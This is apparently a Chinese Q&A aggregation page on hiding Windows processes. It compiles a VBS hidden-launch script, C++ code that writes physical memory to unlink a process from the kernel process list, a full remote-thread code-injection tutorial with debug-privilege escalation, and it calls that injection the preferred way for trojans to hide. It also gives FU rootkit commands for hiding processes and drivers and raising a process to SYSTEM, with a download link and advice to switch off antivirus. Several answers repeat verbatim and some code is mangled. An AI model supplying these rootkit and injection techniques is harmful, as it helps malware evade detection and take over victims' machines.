本文目录
WIN10 怎么做才能隐藏进程
1、首先以隐藏系统自带的Win32版《写字板》程序为例，在记事本中写入如下代码： Dim WShell Set WShell = CreateObject(“WScript.Shell“) WShell.Run “wordpad.exe“, 0 ’后面0的意思是“隐藏” Set WShell = Nothing 注意，代码第三行后的单引号 ’ 是VB中的注释符号，其后面的语句没有执行效果。
2、把上述代码保存为.vbs格式，文件名自拟
3、此时双击刚刚保存的vbs文件就可以让写字板“隐身”运行，但我们还是可以在任务管理器中找到进程
4、如果想隐身运行第三方程序，则需要修改代码，以软媒魔方的清理大师文件为例，代码如下： WShell.Run ““““ & “D:\Program Files (x86)\Ruanmei\PCMaster\cleanmaster.exe“ & ““““, 0 ’如果路径中含有空格，就需要在路径前后加引号和调用符号，格式为““““ & “路径“ & ““““ Set WShell = Nothing
5、按照第2步的方式保存后，双击可以查看效果。需要注意的是，如果程序本身需要管理员权限，而且你的系统开启了UAC，权限请求的窗口是无法隐藏的
不过在点击“是”之后就不会看到运行界面和任务栏图标了，只能在任务管理器中找到进程
6、如果你想用命令提示符来运行这些vbs，可以采用如下命令格式： wscript “路径\文件名.vbs“ 实例： wscript “%userprofile%\Desktop\新建文件夹 (2)\hidewordpad.vbs“
怎么隐藏进程
下载HideWindowPlus,可以隐藏.和老板键一样.注意,要无毒的,网上有些挂马了. 多特软件站为上品. 老兄,你的那位老兄一定说错了.不过按你说的这么干其实也不是不行,只是你得联系九游让他们把奇迹的源码给你,然后你再编译加入隐藏进程的代码,否则不可能. 头文件如下： classCHideProcss { public: CHideProcss(); BOOLHideProcess(); virtual~CHideProcss(); private: BOOLInitNTDLL(); BOOLYHideProcess(); VOIDCloseNTDLL(); VOIDSetPhyscialMemorySectionCanBeWrited(HANDLEhSection); HANDLEOpenPhysicalMemory(); PVOIDLinearToPhys(PULONGBaseAddress,PVOIDaddr); ULONGGetData(PVOIDaddr); BOOLSetData(PVOIDaddr,ULONGdata); long__stdcallexeception(struct_EXCEPTION_POINTERS*tmp); }; 2。CPP文件如下 //HideProcss.cpp:implementationoftheCHideProcssclass. //进程隐藏程序 //要隐藏时调用HideProcess即可 ////////////////////////////////////////////////////////////////////// ＃include“stdafx.h“ ＃include“HideProcss.h“ ＃include《windows.h》 ＃include《Accctrl.h》 ＃include《Aclapi.h》 #ifdef_DEBUG #undefTHIS_FILE staticcharTHIS_FILE=__FILE__; #definenewDEBUG_NEW #endif #defineNT_SUCCESS(Status)((NTSTATUS)(Status)》=0) #defineSTATUS_INFO_LENGTH_MISMATCH((NTSTATUS)0xC0000004L) #defineSTATUS_ACCESS_DENIED((NTSTATUS)0xC0000022L) typedefLONGNTSTATUS; typedefstruct_IO_STATUS_BLOCK { NTSTATUSStatus; ULONGInformation; }IO_STATUS_BLOCK,*PIO_STATUS_BLOCK; typedefstruct_UNICODE_STRING { USHORTLength; USHORTMaximumLength; PWSTRBuffer; }UNICODE_STRING,*PUNICODE_STRING; #defineOBJ_INHERIT0x00000002L #defineOBJ_PERMANENT0x00000010L #defineOBJ_EXCLUSIVE0x00000020L #defineOBJ_CASE_INSENSITIVE0x00000040L #defineOBJ_OPENIF0x00000080L #defineOBJ_OPENLINK0x00000100L #defineOBJ_KERNEL_HANDLE0x00000200L #defineOBJ_VALID_ATTRIBUTES0x000003F2L typedefstruct_OBJECT_ATTRIBUTES { ULONGLength; HANDLERootDirectory; PUNICODE_STRINGObjectName; ULONGAttributes; PVOIDSecurityDescriptor; PVOIDSecurityQualityOfService; }OBJECT_ATTRIBUTES,*POBJECT_ATTRIBUTES; typedefNTSTATUS(CALLBACK*ZWOPENSECTION)( OUTPHANDLESectionHandle, INACCESS_MASKDesiredAccess, INPOBJECT_ATTRIBUTESObjectAttributes ); typedefVOID(CALLBACK*RTLINITUNICODESTRING)( INOUTPUNICODE_STRINGDestinationString, INPCWSTRSourceString ); RTLINITUNICODESTRINGRtlInitUnicodeString; ZWOPENSECTIONZwOpenSection; HMODULEg_hNtDLL=NULL; PVOIDg_pMapPhysicalMemory=NULL; HANDLEg_hMPM=NULL; OSVERSIONINFOg_osvi; //--------------------------------------------------------------------------- ////////////////////////////////////////////////////////////////////// //Construction/Destruction ////////////////////////////////////////////////////////////////////// CHideProcss::CHideProcss() { } CHideProcss::~CHideProcss() { } BOOLCHideProcss::InitNTDLL() { g_hNtDLL=LoadLibrary(“ntdll.dll“); if(NULL==g_hNtDLL) returnFALSE; RtlInitUnicodeString=(RTLINITUNICODESTRING)GetProcAddress(g_hNtDLL, “RtlInitUnicodeString“); ZwOpenSection=(ZWOPENSECTION)GetProcAddress(g_hNtDLL,“ZwOpenSection“); returnTRUE; } //--------------------------------------------------------------------------- VOIDCHideProcss::CloseNTDLL() { if(NULL!=g_hNtDLL) FreeLibrary(g_hNtDLL); g_hNtDLL=NULL; } //--------------------------------------------------------------------------- VOIDCHideProcss::SetPhyscialMemorySectionCanBeWrited(HANDLEhSection) { PACLpDacl=NULL; PSECURITY_DESCRIPTORpSD=NULL; PACLpNewDacl=NULL; DWORDdwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL, NULL,&pDacl,NULL,&pSD); if(ERROR_SUCCESS!=dwRes) { if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); } EXPLICIT_ACCESSea; RtlZeroMemory(&ea,sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions=SECTION_MAP_WRITE; ea.grfAccessMode=GRANT_ACCESS; ea.grfInheritance=NO_INHERITANCE; ea.Trustee.TrusteeForm=TRUSTEE_IS_NAME; ea.Trustee.TrusteeType=TRUSTEE_IS_USER; ea.Trustee.ptstrName=“CURRENT_USER“; dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl); if(ERROR_SUCCESS!=dwRes) { if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); } dwRes=SetSecurityInfo (hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL); if(ERROR_SUCCESS!=dwRes) { if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); } } //--------------------------------------------------------------------------- HANDLECHideProcss::OpenPhysicalMemory() { NTSTATUSstatus; UNICODE_STRINGphysmemString; OBJECT_ATTRIBUTESattributes; ULONGPhyDirectory; g_osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&g_osvi); if(5!=g_osvi.dwMajorVersion) returnNULL; switch(g_osvi.dwMinorVersion) { case0: PhyDirectory=0x30000; break;//2k case1: PhyDirectory=0x39000; break;//xp default: returnNULL; } RtlInitUnicodeString(&physmemString,L“\\Device\\PhysicalMemory“); attributes.Length=sizeof(OBJECT_ATTRIBUTES); attributes.RootDirectory=NULL; attributes.ObjectName=&physmemString attributes.Attributes=0; attributes.SecurityDescriptor=NULL; attributes.SecurityQualityOfService=NULL; status=ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); if(status==STATUS_ACCESS_DENIED) { status=ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes); SetPhyscialMemorySectionCanBeWrited(g_hMPM); CloseHandle(g_hMPM); status=ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); } if(!NT_SUCCESS(status)) returnNULL; g_pMapPhysicalMemory=MapViewOfFile(g_hMPM,FILE_MAP_READ|FILE_MAP_WRITE,0,PhyDirectory, 0x1000); if(g_pMapPhysicalMemory==NULL) returnNULL; returng_hMPM; } //--------------------------------------------------------------------------- PVOIDCHideProcss::LinearToPhys(PULONGBaseAddress,PVOIDaddr) { ULONGVAddr=(ULONG)addr,PGDE,PTE,PAddr; PGDE=BaseAddress[VAddr》》22]; if(0==(PGDE&1)) return0; ULONGtmp=PGDE&0x00000080; if(0!=tmp) { PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF); } else { PGDE=(ULONG)MapViewOfFile(g_hMPM,4,0,PGDE&0xfffff000,0x1000); PTE=((PULONG)PGDE)[(VAddr&0x003FF000)》》12]; if(0==(PTE&1)) return0; PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); UnmapViewOfFile((PVOID)PGDE); } return(PVOID)PAddr; } //--------------------------------------------------------------------------- ULONGCHideProcss::GetData(PVOIDaddr) { ULONGphys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONGtmp=(PULONG)MapViewOfFile(g_hMPM,FILE_MAP_READ|FILE_MAP_WRITE,0,phys& 0xfffff000,0x1000); if(0==tmp) return0; ULONGret=tmp[(phys&0xFFF)》》2]; UnmapViewOfFile(tmp); returnret; } //--------------------------------------------------------------------------- BOOLCHideProcss::SetData(PVOIDaddr,ULONGdata) { ULONGphys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONGtmp=(PULONG)MapViewOfFile(g_hMPM,FILE_MAP_WRITE,0,phys&0xfffff000,0x1000); if(0==tmp) returnFALSE; tmp[(phys&0xFFF)》》2]=data; UnmapViewOfFile(tmp); returnTRUE; } //--------------------------------------------------------------------------- long__stdcallCHideProcss::exeception(struct_EXCEPTION_POINTERS*tmp) { ExitProcess(0); return1; } //--------------------------------------------------------------------------- BOOLCHideProcss::YHideProcess() { //SetUnhandledExceptionFilter(exeception); if(FALSE==InitNTDLL()) returnFALSE; if(0==OpenPhysicalMemory()) returnFALSE; ULONGthread=GetData((PVOID)0xFFDFF124);//kteb ULONGprocess=GetData(PVOID(thread+0x44));//kpeb ULONGfw,bw; if(0==g_osvi.dwMinorVersion) { fw=GetData(PVOID(process+0xa0)); bw=GetData(PVOID(process+0xa4)); } if(1==g_osvi.dwMinorVersion) { fw=GetData(PVOID(process+0x88)); bw=GetData(PVOID(process+0x8c)); } SetData(PVOID(fw+4),bw); SetData(PVOID(bw),fw); CloseHandle(g_hMPM); CloseNTDLL(); returnTRUE; } //隐藏进程的显示 BOOLCHideProcss::HideProcess() { staticBOOLb_hide=false; if(!b_hide) { b_hide=true; YHideProcess(); returntrue; } returntrue; } 其实隐藏程序就行了,它只会在进程中出现,其他地方找不到的.也不会影响星际.前题是你的电脑够牛.
怎样隐藏进程里的某一个进程.
面对众多的计算机高手，考虑许久，终于还是决定出来献丑一下，文章内尽量使用最简洁易懂的词汇及例子来介绍，希望能够对一些初学与进阶者有所帮助。
关于进程的隐藏，98下的例子数不胜数。WinNT/Win2K下的隐藏方法，西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱《四》》 ，我也多次拜读他的文章，对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧，好了，闲话少说。
在WinNT下“真正隐藏进程“这一说法，可以讲是根本不可能实现，只要我们的程序是以进程内核的形式运行，都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了，这岂不是与我们的标题《WinNT & Win2K下实现进程的完全隐藏》相矛盾吗？是的，实际上应该是：以非进程方式执行目标代码，而逃避进程查看器的检查，从而达到“进程隐藏“的目的。
我们这里用的，是在宿主进程中，以线程的方式执行我们的代码。实现起来非常简单。首先，我们先建立一个不执行任何语句的线程
DWORD stdcall ThreadProc(LPVOID *lpVoid){
return 0;
}
然后，将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE)，如：共享内存影射区、宿主进程内。这里我们选择宿主进程，拷备的时侯，我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存，然后再使用WriteProcessMemory将线程体写入宿主进程中。
以上工作完成后，我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子
//远程线程执行体
DWORD __stdcall ThreadProc (void *lpPara){
return 0;
}
int main(int argc, char* argv){
const DWORD THREADSIZE=1024*4;//暂定线程体大小为4K，实际上没这么大，稍后我将会介绍
DWORD byte_write;
//获得指定进程ID句柄，并设其权限为PROCESS_ALL_ACCESS,992是宿进程的ID号,获取ID号的方法这里我就不多讲了
HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
if(!hWnd)return 0;
void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申请
if(!pRemoteThread)return 0;
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))//写入进程
return 0;
//启动线程
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,NULL,0,&byte_write);
if(!hThread){ //还有内存分配未释放
return 0;
}
return 0;
}
到这里，对于隐藏的方法就算告一段落，相信看过的朋友对这个思路有个非常明确的概念了吧。
在理解隐藏的方法后，我们着重开始写线程的执行部分了。如下：
DWORD __stdcall ThreadProc(void *lpPara){
MessageBox(NULL,“hello“,“hello“,0);
return 0;
}
编译执行后，你会发现出现一个非法操作错误，为什么呢？在我们以段页式内存管理的win2K操作系统中，编译时会把所有的常量编译在PE文件的.data节中，而代码段则在.text中，所以，我们拷备到宿主进程中的代码是在.text中的代码，MessageBox(NULL,(char *)指针,p,0);所指向的地址是本进程的内存虚拟地址。而在宿主进程中是无法访问的。解决的方法很简单，按旧照搬的将“hello“也拷备到目标进程中，然后再引用。同理，MessageBox函数地址编译时，也是保存在.Import中，写过Win2k病毒的朋友都知道，所有常量与函数入口地址都需在代码段定义与得出，我们这里也与他有点类似。言归正传，同样情况我们也把函数的入口地址一起写入目标进程中。//先定义参数结构
typedef struct _RemotePara{//参数结构
char pMessageBox;
DWORD dwMessageBox;
}RemotePara;
//付值
RemotePara myRemotePara;
::ZeroMemory(&myRemotePara,sizeof(RemotePara));
HINSTANCE hUser32 = ::LoadLibrary (“user32.dll“);
myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , “MessageBoxA“);
strcat(myRemotePara.pMessageBox,“hello\0“);
//写进目标进程
RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面保护属性
if(!pRemotePara)return 0;
if(!::WriteProcessMemory (hWnd ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
//启动进将参数传递进入
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
if(!hThread){
return 0;
}好了，就这么简单，下在给出一个弹出一个MessageBox的实例：// RemoteThread.cpp : Defines the entry point for the console application.
//
#include “stdafx.h“
typedef struct _RemotePara{//参数结构
char pMessageBox;
DWORD dwMessageBox;
}RemotePara;
//远程线程
DWORD __stdcall ThreadProc (RemotePara *lpPara){
typedef int (__stdcall *MMessageBoxA)(HWND,LPCTSTR,LPCTSTR,DWORD);//定义MessageBox函数
MMessageBoxA myMessageBoxA;
myMessageBoxA =(MMessageBoxA) lpPara-》dwMessageBox ;//得到函数入口地址
myMessageBoxA(NULL,lpPara-》pMessageBox ,lpPara-》pMessageBox,0);//call
return 0;
}
void EnableDebugPriv();//提升应用级调试权限
int main(int argc, char* argv){
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
EnableDebugPriv();//提升权限
HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
if(!hWnd)return 0;
void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))
return 0;
//再付值
RemotePara myRemotePara;
::ZeroMemory(&myRemotePara,sizeof(RemotePara));
HINSTANCE hUser32 = ::LoadLibrary (“user32.dll“);
myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , “MessageBoxA“);
strcat(myRemotePara.pMessageBox,“hello\0“);
//写进目标进程
RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面属性
if(!pRemotePara)return 0;
if(!::WriteProcessMemory (hWnd ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
//启动线程
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
if(!hThread){
return 0;
}
return 0;
}
//提升权限
void EnableDebugPriv( void )
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken ) )
return;
if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){
CloseHandle( hToken );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges.Luid = sedebugnameValue;
tkp.Privileges.Attributes = SE_PRIVILEGE_ENABLED;
if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
CloseHandle( hToken );
}
好了，程序编译执行后会在进程号为992的进程中创建一线程，弹出hello对话框。是不是非常简单呢！
这里有几个地方需要注意的：
1、远程线程在宿主进程中申请空间时，空间大小的确定了是我一直无法解决的问题。我曾使用两个贴近一起的线程，以线程间的距离大小，并加上参数大小，作为申请空间时，仍然会出现非法操作，如下：
static void StartThread (LPVOID *lpPara){
return ;
}
static void EndThread(LPVOID *lpPara){
return;
}
然后使用DWORD dwLenght = (DWORD)((char *)&StartThread - (char *)&EndThread);//得到StartThread线程代码长度，
dwLenght += sizeof(ThreadPara);
仍会出现非法操作让我很迷惑。在win2k中，线程的默认堆栈的页大小是4KB，这里我在为线程申请内存时，申请的大小暂时使用一个常数，始终为4KB的倍数，选取时尽量取大，在线程可成功运行后，再一点点改小。办法是笨了点，如这里的朋友有更好的方法，请不吝赐教。
2、什么时侯，什么参数是需要从外部传递进来的呢？我这里并没有一个十分有力的答案，我的理解是：PE文件中除了.text节以外的所有节，均需使用外部参数传递到线程中使用，如：.rsrc、.data、rdata等其他的15个节。在我们实际编写的过程中，初学者并不知道我们的代码会编译在什么地方，这个时侯，我们可以在运行的时侯ALT + 8（VC中快捷键）反编译过来，一般有lea eax p、push offset p等取地址语句，这个时侯，我们大都需要以参数传递进来。所以，大家在编写的时侯，一定要注意参数，因为线程的执行是在别的进程中，一个普通权限的应用程序是无法跨越进程来调试其他进程的。包括VC，也无法调试我们的远程线程，熟悉汇编的朋友，可用softice调试，这需要一定的功底。
3、权限，这一点很重要，shotgun在这方面也介绍得很清楚了，网上相关的文章也很多，我就不多说了。文中的EnableDebugPriv函数可使本进程在internet、winLogin、lsass等进程中创建线程。win2k的进程查看器无法将其杀除。
4、进程ID获方法较多，如：EnumProcesses、CreateToolhelp32Snapshot/Process32First/Process32Next、NtQuerySystemInformation等函数均可，为减少代码，例子中的进程ID是直接在进程查看器中得到的。最后，我们再回到shotgun的文章中，这时侯我们因已经非常清楚他的方法中为何会多出一个DLL文件了。远程线程的线程体本身就是LoadLibrary函数，即，线程的入口地址就是LoadLibrary的入口地址，这是系统Kernel32.dll中的函数，任何进程都可调用。线程中使用LoadLibrary函数将我们的DLL加载到系统空间内，线程一执行，我们的DLL就开始工作了。线程执行结束后，别忘了使用VirtualFreeEx将其申请的内存区释放。
两种方法一比较，很明显：
1、在使用DLL时，创建十分简单，也不需要太多的操作系统与内存操作知识，并可直接调试DLL文件。实现起来比较简单。
2、直接拷备到进程中的方法稍为复杂一点，一不小心，很容易出现非法操作。当然，也去掉那了个让人讨厌DLL文件。程序执行后，很难找到他的来源地，是除了病毒以外的木马隐藏的首选方法。这里我大量参考了nongmin.cn(农民)程序的源码，他的程序对我的帮助非常大。虽然未有谋面，但对他的计算机水平与作为十分的敬佩，并尊从他的作风，以后我所写的所有非商业软件或小代码，均以源码形式出现。这里写得有点乱，希望对大家能够有所帮助，愿与所有爱好计算机，从事计算机工作的朋友们共勉。
-隐藏进程
进程可以隐藏起来吗
可以~~~~~~~~~~~~
酷！教你彻底隐藏系统进程
这里我们用到的是一款名为FU_Rootkit的软件。
FU_Rootkit是开源的，用C语言编写。
主程序包括2个部分：
Fu.exe和Msdirectx.sys。 Msdirectx.sys能直接载入核心内存，Fu.exe则是相应的应用程序。
命令参数
[-pl] xxx 列举所有运行进程
[-ph] #PID 隐藏进程标识符为PID的进程
[-pld] 列举所有载入驱动程序
[-phd] DRIVER_NAME 隐藏指定驱动
[-pas] #PID 提升进程标识符为PID的进程权限至SYSTEM
[-prl] 列出可用的权限名单
[-prs] #PID #privilege_name 提升进程标识符为PID的进程权限至指定权限
[-pss] #PID #account_name 改变进程令牌和SID
FU_Rootkit不仅可以隐藏进程和驱动，改变进程令牌和SID，还可以例举用Hook技术隐藏的进程和驱动。
使用方法：打开任务管理器，查看你想要隐藏进程的PID，比如要隐藏PID为3024的进程，只需：
运行FU，输入fu -ph 3024即可，现在PID为3024的进程就已经从任务管理器中消失了。
FU下载:https://www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip
-进程
如何在任务管理器中隐藏进程
想要在任务管理器中隐藏进程，屏蔽任务管理器就可以了 。具体操作方法如下：
禁用与启用任务管理器：
方法一：运行“Regedit”命令打开注册表编辑器，依次定位到“[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]”分支，在左边找到“DisableTaskMgr”项（如没有则新建，其类型为REG_DWORD），其值设置为1则禁止，为0则启用。
方法二：运行“gpedit.msc”命令打开“组策略”设置窗口，依次展开“本地计算机策略→用户配置→管理模板→系统→Ctrl+Alt+Del选项”，在右边的“删除任务管理器”的属性中，设置为“已启用”。
方法三：上面两种方法对所有用户有效，如果你想单独对某个用户设置禁用，那么可以打开C:\WINDOWS\system32目录，右键单击taskmgr.exe，选择“打开方式”菜单，在弹出的“运行身份”窗口中勾选“下列用户”，并指定一个用户即可。
-隐藏进程
如何隐藏进程
隐藏进程
.
下载HideToolz 解压缩运行.在软件里面可以看见目前的进程数为多少个。
按Ctrl + Alt + . 【启动任务管理器】，在 HideToolz 里面找到你想要隐藏的运行程序，鼠标单击右键——选择隐藏，然后在任务管理器里面就很清楚的看见你想隐藏的运行程序已经不见了。
既然隐藏了运行程序，那么想显示出来了又该怎么办呢？在 HideToolz 里面找到你已经隐藏了的运行程序，鼠标单击右键——选择显示即可。
当然，运行 HideToolz 的时候最好也把 HideToolz 的托盘图标也隐藏了。
除了第三方软件可以隐藏进程，还有使用其他的方法也可以隐藏进程，不过相比较第三方软件去隐藏进程的步骤要复杂些。
这种问题想要源码别人是不可能会给的。只能自己学习。。
下面简单介绍一下《隐藏辅助进程之FU》的使用方法，
它的全称是fu_rootkit，fu_rootkit可以隐藏进程和驱动，
改变进程令牌和SID，例举用hook技术隐藏的进程和驱动，
而且它是公开源代码的。
※特殊说明一下：因为本软件里含有FU(进程隐藏软件)特征码,所以杀毒软件会误认为是病毒程序,所以请在运行软件前关闭杀毒软件。
在关掉杀毒软件的情况下，我们打开EXE文件夹中的cmd.exe。
我们可以看一下它所有的命令。
其DOS命令:
[-pl] xxx 列举所有运行进程
[-ph] #PID 隐藏进程标识符为PID的进程
[-pld] 列举所有载入驱动程序
[-phd] DRIVER_NAME 隐藏指定驱动
[-pas] #PID 提升进程标识符为PID的进程权限至SYSTEM
[-prl] 列出可用的权限名单
[-prs] #PID #privilege_name 提升进程标识符为PID的进程权限至指定权限
[-pss] #PID #account_name 改变进程令牌和SID
关于隐藏游戏的进程只需要: [-ph] #PID 隐藏进程标识符为PID的进程 这项
PID值的查询这里简单介绍一下...请看操作...
敲击键盘Ctrl+Alt+Delete/Del 打开Windows任务管理器
选择查看选项中的《选择列...》
在PID (进程标识符）选项前打钩，即可看到进程的PID值.
街头篮球的进程映像名称是FreeStyle.exe
冒险岛的进程映像名称是Maplestory.exe
下面只介绍一下多开街头篮球的步骤：
现在打开街头篮球!
在程序框内输入fu -ph ____
____添上街头篮球进程的PID值
注意：fu和-ph间有空格 -ph和PID值之间后空格...
PID值不是固定的...每一次启动的PID值都不同...
-进程
有哪些有效的隐藏进程的方法
隐藏进程之FU
下面简单介绍一下《隐藏外挂进程之FU》的使用方法，
它的全称是fu_rootkit，fu_rootkit可以隐藏进程和驱动，
改变进程令牌和SID，例举用hook技术隐藏的进程和驱动，
而且它是公开源代码的。
※特殊说明一下：因为本软件里含有FU(进程隐藏软件)特征码,所以杀毒软件会误认为是病毒程序,所以请在运行软件前关闭杀毒软件。
在关掉杀毒软件的情况下，我们打开EXE文件夹中的cmd.exe。
我们可以看一下它所有的命令。
其DOS命令:
[-pl] xxx 列举所有运行进程
[-ph] #PID 隐藏进程标识符为PID的进程
[-pld] 列举所有载入驱动程序
[-phd] DRIVER_NAME 隐藏指定驱动
[-pas] #PID 提升进程标识符为PID的进程权限至SYSTEM
[-prl] 列出可用的权限名单
[-prs] #PID #privilege_name 提升进程标识符为PID的进程权限至指定权限
[-pss] #PID #account_name 改变进程令牌和SID
关于隐藏游戏的进程只需要: [-ph] #PID 隐藏进程标识符为PID的进程 这项
PID值的查询这里简单介绍一下...请看操作...
敲击键盘Ctrl+Alt+Delete/Del 打开Windows任务管理器
选择查看选项中的《选择列...》
在PID (进程标识符）选项前打钩，即可看到进程的PID值.
街头篮球的进程映像名称是FreeStyle.exe
冒险岛的进程映像名称是Maplestory.exe
下面只介绍一下多开街头篮球的步骤：
现在打开街头篮球!
在程序框内输入fu -ph ____
____添上街头篮球进程的PID值
注意：fu和-ph间有空格 -ph和PID值之间后空格...
PID值不是固定的...每一次启动的PID值都不同...
-隐藏进程
如何隐藏系统进程
教你彻底隐藏系统进程 这里我们用到的是一款名为FU_Rootkit的软件。FU_Rootkit是开源的，用C语言编写。 主程序包括2个部分： Fu.exe和Msdirectx.sys。 Msdirectx.sys能直接载入核心内存，Fu.exe则是相应的应用程序。 命令参数[-pl] xxx 列举所有运行进程 [-ph] #PID 隐藏进程标识符为PID的进程 [-pld] 列举所有载入驱动程序 [-phd] DRIVER_NAME 隐藏指定驱动 [-pas] #PID 提升进程标识符为PID的进程权限至SYSTEM [-prl] 列出可用的权限名单 [-prs] #PID #privilege_name 提升进程标识符为PID的进程权限至指定权限 [-pss] #PID #account_name 改变进程令牌和SID FU_Rootkit不仅可以隐藏进程和驱动，改变进程令牌和SID，还可以例举用Hook技术隐藏的进程和驱动。使用方法：打开任务管理器，查看你想要隐藏进程的PID，比如要隐藏PID为3024的进程，只需：运行FU，输入fu -ph 3024即可，现在PID为3024的进程就已经从任务管理器中消失了。文章来自： http://www.tobeahero.cn/article.asp?id=9
-进程
